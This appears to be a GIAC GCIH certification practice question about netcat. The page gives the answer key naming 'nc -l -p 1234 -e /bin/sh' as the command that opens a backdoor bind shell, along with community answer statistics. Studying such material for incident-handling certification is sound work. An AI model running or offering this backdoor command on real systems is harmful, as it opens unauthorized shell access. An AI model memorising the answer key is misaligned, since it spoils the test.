GIAC
GCIH · Question #610
Which of the following commands can be used to create a backdoor shell on port 1234 on a Linux or Unix system?
The correct answer is D. nc -l -p 1234 -e /bin/sh. The -e command-line option is required to execute a backdoor shell. On Linux and Unix systems, /bin/sh is an appropriate path to a shell. On Windows systems, cmd.exe is an appropriate shell.
Web Application Attacks & Post-Exploitation
Question
Which of the following commands can be used to create a backdoor shell on port 1234 on a Linux or Unix system?
Options
- Anc -p 1234 -e /bin/sh
- Bnc -p 1234 -x /bin/sh
- Cnc -l 1234 -x /bin/sh
- Dnc -l -p 1234 -e /bin/sh
How the community answered
(29 responses)- A3% (1)
- B3% (1)
- D93% (27)
Explanation
The -e command-line option is required to execute a backdoor shell. On Linux and Unix systems, /bin/sh is an appropriate path to a shell. On Windows systems, cmd.exe is an appropriate shell.
Topics
#netcat#backdoor shell#bind shell#post-exploitation
Community Discussion
No community discussion yet for this question.